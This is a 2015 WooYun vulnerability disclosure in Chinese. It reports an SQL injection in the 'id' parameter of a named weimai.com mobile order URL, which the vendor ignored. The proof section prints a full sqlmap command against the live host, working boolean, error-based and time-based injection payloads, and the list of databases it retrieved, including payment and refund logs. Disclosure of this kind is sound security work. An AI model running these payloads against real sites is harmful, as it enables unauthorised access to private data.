当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090232

漏洞标题:微卖某SQL注入ROOT权限导致基本上是所有数据都在了

相关厂商:weimai.com

漏洞作者: 路人甲

提交时间:2015-01-06 21:18

修复时间:2015-01-11 21:18

公开时间:2015-01-11 21:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-06: 细节已通知厂商并且等待厂商处理中
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

微卖某SQL注入ROOT权限-基本上是所有数据都在了

详细说明:

http://b.weimai.com/index.php/wap/Index/order/token/1252359/c_userid/0/skuid/244285/buy_count/1/from/view?id=33094
id 存在爆错注入

1.jpg

漏洞证明:

root@bt5:/pentest/database/sqlmap# python sqlmap.py -u "http://b.weimai.com/index.php/wap/Index/order/token/1252359/c_userid/0/skuid/244285/buy_count/1/from/view?id=33094" -p id --dbms=mysql --dbs
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 12:06:26
[12:06:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=33094) AND 4898=4898 AND (6373=6373
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=33094) AND (SELECT 6042 FROM(SELECT COUNT(*),CONCAT(0x3a6674653a,(SELECT (CASE WHEN (6042=6042) THEN 1 ELSE 0 END)),0x3a6771713a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (1550=1550
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=33094) AND SLEEP(5) AND (7172=7172
---
[12:06:26] [INFO] testing MySQL
[12:06:27] [WARNING] reflective value(s) found and filtering out
[12:06:27] [INFO] confirming MySQL
[12:06:27] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3
back-end DBMS: MySQL >= 5.0.0
[12:06:27] [INFO] fetching database names
[12:06:27] [INFO] the SQL query used returns 13 entries
[12:06:28] [INFO] retrieved: information_schema
[12:06:28] [INFO] retrieved: f_event_c
[12:06:28] [INFO] retrieved: f_event_i
[12:06:28] [INFO] retrieved: f_event_o
[12:06:28] [INFO] retrieved: f_log_pay
[12:06:28] [INFO] retrieved: f_log_refund
[12:06:29] [INFO] retrieved: f_message_c
[12:06:29] [INFO] retrieved: f_message_i
[12:06:29] [INFO] retrieved: f_message_o
[12:06:29] [INFO] retrieved: jinzai_2014
[12:06:29] [INFO] retrieved: jinzai_ppe
[12:06:30] [INFO] retrieved: mysql
[12:06:30] [INFO] retrieved: performance_schema
available databases [13]:
[*] f_event_c
[*] f_event_i
[*] f_event_o
[*] f_log_pay
[*] f_log_refund
[*] f_message_c
[*] f_message_i
[*] f_message_o
[*] information_schema
[*] jinzai_2014
[*] jinzai_ppe
[*] mysql
[*] performance_schema
[12:06:30] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/b.weimai.com'
[*] shutting down at 12:06:30

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-11 21:18

厂商回复:

最新状态:

暂无